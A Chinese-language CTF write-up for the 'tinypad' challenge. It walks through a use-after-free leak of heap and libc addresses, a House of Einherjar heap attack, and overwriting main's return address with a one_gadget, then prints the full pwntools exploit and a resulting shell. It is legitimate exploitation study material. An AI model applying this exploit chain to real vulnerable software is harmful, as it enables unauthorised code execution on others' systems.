tinypad - house_of_einherjar 
    TOC 
    1.  前言 2.  思路 3.  House Of Einherjar准备 4.  劫持程序流 前言 考察对 House Of Einherjar 漏洞的用法。以及UAF。
鄙人使用的是自己编译的glibc-2.19,下面的有些地址是需要自行计算的.
思路 
泄露heap基地址 
泄露libc基地址 
House Of Einherjar漏洞 
One gadget拿shell 
 
泄露heap基地址 
由于源程序在做删除操作的时候,不会将指针置NULL,所以下一次就会打印出其 malloc_chunk->fd 上的值。
add(0x70 , 'a'  * 8 )   add(0x70 , 'b'  * 8 )   add(0x100 , 'c'  * 8 )   delete(2 )   sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) heap_base_addr = u64(ret.ljust(8 , '\x00' )) & 0xfffff000  log.success("heap_base_addr: "  + hex (heap_base_addr)) 
泄露libc基地址 
原理和上面一样的.
add(0x200 , '' ) add(0x200 , '' ) sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) main_area_88_offset = 0x39cbb8  main_area_88 = u64(ret.ljust(8 , '\x00' )) log.info("main_area_88: "  + hex (main_area_88)) libc_base_addr = main_area_88 - main_area_88_offset log.success("libc_base_addr: "  + hex (libc_base_addr)) delete(2 ) delete(3 ) 
不同的glibc,main_area_88 的偏移各有不同,算偏移的具体做法:
pwndbg> heap 0x9ec000 FASTBIN {   prev_size = 0,    size = 129,    fd = 0x9ec080,    bk = 0x0,    fd_nextsize = 0x0,    bk_nextsize = 0x0 } 0x9ec080 FASTBIN {   prev_size = 0,    size = 129,    fd = 0x0,    bk = 0x0,    fd_nextsize = 0x0,    bk_nextsize = 0x0 } 0x9ec100 PREV_INUSE {   prev_size = 0,    size = 273,    fd = 0x6363636363636363,    bk = 0x0,    fd_nextsize = 0x0,    bk_nextsize = 0x0 } 0x9ec210 PREV_INUSE {   prev_size = 0,    size = 273,    fd = 0x7ff59d65fbb8 <main_arena+88>,    bk = 0x7ff59d65fbb8 <main_arena+88>,    fd_nextsize = 0x0,    bk_nextsize = 0x0 } 0x9ec320 {   prev_size = 272,    size = 272,    fd = 0x0,    bk = 0x0,    fd_nextsize = 0x0,    bk_nextsize = 0x0 } 0x9ec430 PREV_INUSE {   prev_size = 0,    size = 134097,    fd = 0x0,    bk = 0x0,    fd_nextsize = 0x0,    bk_nextsize = 0x0 } pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA           0x400000           0x402000 r-xp     2000 0      /home/ex/test/tinypad           0x601000           0x602000 r--p     1000 1000   /home/ex/test/tinypad           0x602000           0x603000 rw-p     1000 2000   /home/ex/test/tinypad           0x9ec000           0xa0d000 rw-p    21000 0      [heap]     0x7ff59d2c3000     0x7ff59d45b000 r-xp   198000 0      /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so     0x7ff59d45b000     0x7ff59d65b000 ---p   200000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so     0x7ff59d65b000     0x7ff59d65f000 r--p     4000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so     0x7ff59d65f000     0x7ff59d661000 rw-p     2000 19c000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so     0x7ff59d661000     0x7ff59d665000 rw-p     4000 0           0x7ff59d665000     0x7ff59d685000 r-xp    20000 0      /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so     0x7ff59d87e000     0x7ff59d881000 rw-p     3000 0           0x7ff59d883000     0x7ff59d884000 rw-p     1000 0           0x7ff59d884000     0x7ff59d885000 r--p     1000 1f000  /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so     0x7ff59d885000     0x7ff59d886000 rw-p     1000 20000  /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so     0x7ff59d886000     0x7ff59d887000 rw-p     1000 0           0x7ffcd5774000     0x7ffcd5795000 rw-p    21000 0      [stack]     0x7ffcd57f7000     0x7ffcd57f9000 r--p     2000 0      [vvar]     0x7ffcd57f9000     0x7ffcd57fb000 r-xp     2000 0      [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall] pwndbg> p/x 0x7ff59d65fbb8-0x7ff59d2c3000 $1 = 0x39cbb8 pwndbg>  
House Of Einherjar准备 具体做法如下:
准备环境 
修改inuse标志 
进行 \x00 填充 
修改 prev_size 
构造fake_chunk 
劫持main返回地址 
 
准备环境 
事先要准备好填充的数量.
add(24 ,'a' *24 )  add(240 ,'' )  add(0x100 , 'c'  * (32 +0x20 ))   add(0x100 , 'c'  * (0x100 ))  
修改inuse标志 
用的是strcpy的\x00截断实现的.
进行 \x00 填充 
因为strcpy的时候会有\x00截断,所以对于高字节的\x00,只能一步一步来修改.
size = (heap_index_2 - fakechunk_addr) log .info("Size: " +hex(size))# 计算size的长度 size_length = int (math.ceil (( len(hex(size))-2 )/2 )) # 进行 \x00 填充,将高位填充为0  for  i in range(8  - 1  - size_length):    edit(1 ,'a' *(24  - 1  -i)) 
修改 prev_size 
因为heap在使用状态下,prev_size 的空间是可以给前一个chunk使用的,所以它的值可以由前一个chunk更改.
edit(1 ,'a' *16  + p64(size)) 
构造fake_chunk 
下面就是直接构造的假chunk,而index在构造环境的时候需要确定能容下所有字节.
layout = [     p64(0x0 ),      p64(0x100  + 0x1 ),      p64(fakechunk_addr),      p64(fakechunk_addr)        ] edit(3 ,'d'  * 0x20  + flat(layout)) 
House Of Einherjar 
前面已经准备好了,所以这里直接使用该漏洞,将fake_chunk->fd和fake_chunk->bk设置为main_area_88,主要是为了能把该chunk从heap里面拿出来,要不然过不了检查.
delete(2 ) edit(4 , 'd'  * 0x20  + p64(0 ) + p64(0x101 ) + p64(main_area_88) + p64(main_area_88)) 
劫持程序流 具体做法如下:
计算environ pointer地址 
构造一个方便读写的环境 
劫持main返回地址 
getshell 
 
计算environ pointer地址 
直接用泄露的基地址计算就行.
environ_pointer = libc_base_addr + libc.symbols['__environ' ] log.info('environ pointer addr: '  + hex (environ_pointer)) 
构造一个方便读写的环境 
fake_pad = 'f'  * (0x100  - 0x20  - 0x10 ) + 'a'  * 8  + p64(environ_pointer) + 'a'  * 8  + p64(0x602148 ) add(0x100  - 8 , fake_pad)  
劫持main返回地址 
sh.recvuntil('INDEX: 1\n # CONTENT: ' ) ret = sh.recvuntil('\n' , drop=True ).ljust(8 , '\x00' ) sh.recvuntil('(CMD)>>> ' ) environ_addr = ret environ_addr = u64(environ_addr) log.success('environ_addr: '  + hex (environ_addr)) main_ret_addr = environ_addr - 0xf0  log.success('main_ret_addr: '  + hex (main_ret_addr)) one_gadget = 0x3ce7f  one_gadget_addr = libc_base_addr + one_gadget log.success('one_gadget_addr: '  + hex (one_gadget_addr)) edit(2 ,p64(main_ret_addr))  edit(1 ,p64(one_gadget_addr)) 
environ_addr 和 main_ret_addr 的偏移需要自行计算,方法如下:
pwndbg> stack 00:0000│ rsp  0x7ffef44eaf98 —▸ 0x400ed9 (_read_n+112) ◂— mov    qword ptr [rbp - 0x10], rax 01:0008│      0x7ffef44eafa0 —▸ 0x7ffef44eb033 ◂— 0x40083200007ffef4 02:0010│      0x7ffef44eafa8 ◂— 0x1 03:0018│      0x7ffef44eafb0 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000 04:0020│      0x7ffef44eafb8 —▸ 0x400fad (_write_n+112) ◂— mov    qword ptr [rbp - 0x10], rax 05:0028│      0x7ffef44eafc0 —▸ 0x401a29 ◂— or     al, byte ptr [rax] /* '\n' */ 06:0030│      0x7ffef44eafc8 ◂— 0x0 07:0038│      0x7ffef44eafd0 —▸ 0x4018d8 (prompt_cmd) ◂— sub    byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */ pwndbg>  08:0040│      0x7ffef44eafd8 ◂— 0xa5c048c5caa4ab00 09:0048│ rbp  0x7ffef44eafe0 —▸ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— ... 0a:0050│      0x7ffef44eafe8 —▸ 0x401100 (read_until+73) ◂— mov    qword ptr [rbp - 0x10], rax 0b:0058│      0x7ffef44eaff0 ◂— 9 /* '\t' */ 0c:0060│      0x7ffef44eaff8 ◂— 0xacaa4ab00 0d:0068│      0x7ffef44eb000 ◂— 0x1 0e:0070│      0x7ffef44eb008 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000 0f:0078│      0x7ffef44eb010 ◂— 9 /* '\t' */ pwndbg>  10:0080│        0x7ffef44eb018 ◂— 0x0 11:0088│        0x7ffef44eb020 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15 12:0090│        0x7ffef44eb028 ◂— 0xa5c048c5caa4ab00 13:0098│        0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15 14:00a0│        0x7ffef44eb038 —▸ 0x400832 (getcmd+92) ◂— mov    esi, 1 15:00a8│ rsi-4  0x7ffef44eb040 ◂— 0x2 16:00b0│        0x7ffef44eb048 ◂— 0xa5c048c5caa4ab00 17:00b8│        0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15 pwndbg>  18:00c0│   0x7ffef44eb058 —▸ 0x4009c1 (main+350) ◂— mov    dword ptr [rbp - 0x10], eax 19:00c8│   0x7ffef44eb060 ◂— 0x3400401370 1a:00d0│   0x7ffef44eb068 ◂— 0x4 1b:00d8│   0x7ffef44eb070 ◂— 0xf800000000 1c:00e0│   0x7ffef44eb078 ◂— 0xa5c048c5caa4ab00 1d:00e8│   0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push   r15 1e:00f0│   0x7ffef44eb088 —▸ 0x7f48d89e27d5 (__libc_start_main+385) ◂— jmp    0x7f48d89e2820 1f:00f8│   0x7ffef44eb090 —▸ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8' pwndbg>  20:0100│   0x7ffef44eb098 —▸ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad' 21:0108│   0x7ffef44eb0a0 ◂— 0x1d8d5b760 22:0110│   0x7ffef44eb0a8 —▸ 0x400863 (main) ◂— push   rbp 23:0118│   0x7ffef44eb0b0 ◂— 0x0 24:0120│   0x7ffef44eb0b8 ◂— 0xac9964160561fbe2 25:0128│   0x7ffef44eb0c0 —▸ 0x4006e0 (_start) ◂— xor    ebp, ebp 26:0130│   0x7ffef44eb0c8 ◂— 0x0 ... ↓ pwndbg>  28:0140│   0x7ffef44eb0d8 ◂— 0x0 29:0148│   0x7ffef44eb0e0 ◂— 0x53648c0b42a1fbe2 2a:0150│   0x7ffef44eb0e8 ◂— 0x5208d5aa6c9bfbe2 2b:0158│   0x7ffef44eb0f0 ◂— 0x7ffe00000000 2c:0160│   0x7ffef44eb0f8 ◂— 0x0 ... ↓ 2e:0170│   0x7ffef44eb108 —▸ 0x7f48d8d7354d (_dl_init_internal+229) ◂— mov    eax, r14d 2f:0178│   0x7ffef44eb110 ◂— 0x0 pwndbg>  30:0180│   0x7ffef44eb118 ◂— 0x0 ... ↓ 33:0198│   0x7ffef44eb130 —▸ 0x4006e0 (_start) ◂— xor    ebp, ebp 34:01a0│   0x7ffef44eb138 —▸ 0x7ffef44eb160 ◂— 0x1 35:01a8│   0x7ffef44eb140 ◂— 0x0 36:01b0│   0x7ffef44eb148 —▸ 0x40070a (_start+42) ◂— hlt     37:01b8│   0x7ffef44eb150 —▸ 0x7ffef44eb158 ◂— 0x0 pwndbg>  38:01c0│   0x7ffef44eb158 ◂— 0x0 39:01c8│   0x7ffef44eb160 ◂— 0x1 3a:01d0│   0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad' 3b:01d8│   0x7ffef44eb170 ◂— 0x0 3c:01e0│   0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8' 3d:01e8│   0x7ffef44eb180 —▸ 0x7ffef44ec79e ◂— 'LESSOPEN=| /usr/bin/lesspipe %s' 3e:01f0│   0x7ffef44eb188 —▸ 0x7ffef44ec7be ◂— 'SSH_CLIENT=192.168.3.1 57226 22' 3f:01f8│   0x7ffef44eb190 —▸ 0x7ffef44ec7de ◂— 'LOGNAME=ex' pwndbg> p/x 0x7ffef44eb178-0x7ffef44eb088 $1 = 0xf0 pwndbg> 
也就是计算上面3c:01e0和1e:00f0的偏移,不同环境,可能值不同.
getshell 
退出即可.
sh.sendline('Q' ) sh.interactive() 
这里用的one gadget情况如下:
ex@ubuntu:~/test$ one_gadget /home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6 0x3ce7f execve("/bin/sh", rsp+0x20, environ) constraints:   [rsp+0x20] == NULL 
完整脚本 
from  pwn import  *import  mathsh = process('./tinypad' ) elf = ELF('./tinypad' ) libc = ELF('/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6' ) f = open ('pid' , 'w' ) f.write(str (proc.pidof(sh)[0 ])) f.close() tinypad = 0x602040  def  add (size, content ):    sh.sendline('A' )     sh.recvuntil('(SIZE)>>> ' )     sh.sendline(str (size))     sh.recvuntil('(CONTENT)>>> ' )     sh.sendline(content)     sh.recvuntil('(CMD)>>> ' ) def  delete (index ):    sh.sendline('D' )     sh.recvuntil('(INDEX)>>> ' )     sh.sendline(str (index))     sh.recvuntil('(CMD)>>> ' ) def  edit (index, content ):    sh.sendline('E' )     sh.recvuntil('(INDEX)>>> ' )     sh.sendline(str (index))     sh.recvuntil('CONTENT: ' )     ret = sh.recvuntil('\n(CONTENT)>>> ' )     sh.sendline(content)     sh.recvuntil('(Y/n)>>> ' )     sh.sendline('Y' )     sh.recvuntil('(CMD)>>> ' )     return  ret sh.recvuntil('(CMD)>>> ' ) add(0x70 , 'a'  * 8 )   add(0x70 , 'b'  * 8 )   add(0x100 , 'c'  * 8 )   delete(2 )   sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) heap_base_addr = u64(ret.ljust(8 , '\x00' )) & 0xfffff000  log.success("heap_base_addr: "  + hex (heap_base_addr)) add(0x200 , '' ) add(0x200 , '' ) sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) main_area_88_offset = 0x39cbb8  main_area_88 = u64(ret.ljust(8 , '\x00' )) log.info("main_area_88: "  + hex (main_area_88)) libc_base_addr = main_area_88 - main_area_88_offset log.success("libc_base_addr: "  + hex (libc_base_addr)) delete(2 ) delete(3 ) add(24 ,'a' *24 )  add(240 ,'' )  add(0x100 , 'c'  * (32 +0x20 ))   add(0x100 , 'c'  * (0x100 ))  fakechunk_addr = tinypad + 0x20  edit(1 ,'a' *24 ) heap_index_2 = heap_base_addr + 0x20  size = (heap_index_2 - fakechunk_addr) log.info("Size: " +hex (size)) size_length = int (math.ceil(( len (hex (size))-2 )/2 )) for  i in  range (8  - 1  - size_length):    edit(1 ,'a' *(24  - 1  -i)) edit(1 ,'a' *16  + p64(size)) layout = [     p64(0x0 ),      p64(0x100  + 0x1 ),      p64(fakechunk_addr),      p64(fakechunk_addr)        ] edit(3 ,'d'  * 0x20  + flat(layout)) delete(2 ) edit(4 , 'd'  * 0x20  + p64(0 ) + p64(0x101 ) + p64(main_area_88) + p64(main_area_88)) environ_pointer = libc_base_addr + libc.symbols['__environ' ] log.info('environ pointer addr: '  + hex (environ_pointer)) fake_pad = 'f'  * (0x100  - 0x20  - 0x10 ) + 'a'  * 8  + p64(environ_pointer) + 'a'  * 8  + p64(0x602148 ) add(0x100  - 8 , fake_pad)  sh.sendline() sh.recvuntil('INDEX: 1\n # CONTENT: ' ) ret = sh.recvuntil('\n' , drop=True ).ljust(8 , '\x00' ) sh.recvuntil('(CMD)>>> ' ) environ_addr = ret environ_addr = u64(environ_addr) log.success('environ_addr: '  + hex (environ_addr)) main_ret_addr = environ_addr - 0xf0  log.success('main_ret_addr: '  + hex (main_ret_addr)) one_gadget = 0x3ce7f  one_gadget_addr = libc_base_addr + one_gadget log.success('one_gadget_addr: '  + hex (one_gadget_addr)) edit(2 ,p64(main_ret_addr))  edit(1 ,p64(one_gadget_addr)) sh.sendline('Q' ) sh.interactive() os.system("rm -f pid" ) 
结果如下:
ex@ubuntu:~/test$ ./exp.py  [+] Starting local process './tinypad': pid 46231 [*] '/home/ex/test/tinypad'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000) [*] '/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled [+] heap_base_addr: 0xfaf000 [*] main_area_88: 0x7f81f2639bb8 [+] libc_base_addr: 0x7f81f229d000 [*] Size: 0x9acfc0 [*] environ pointer addr: 0x7f81f263c018 [+] environ_addr: 0x7fff834f6218 [+] main_ret_addr: 0x7fff834f6128 [+] one_gadget_addr: 0x7f81f22d9e7f [*] Switching to interactive mode $  id uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 
总结 
这题比较坑人了,原本打算劫持got表的,却发现是full relro保护,然后计划打算劫持__free_hook,但是,由于程序本身有\0的长度限制,也不能修改.所以只能,修改main函数的地址为返回地址了.原本还想修改main函数的地址为返回地址为system函数,然后把参数设置为/bin/sh,但是放参数的地方刚好就是stack guard,所以不能修改,总之多尝试,总会有收获的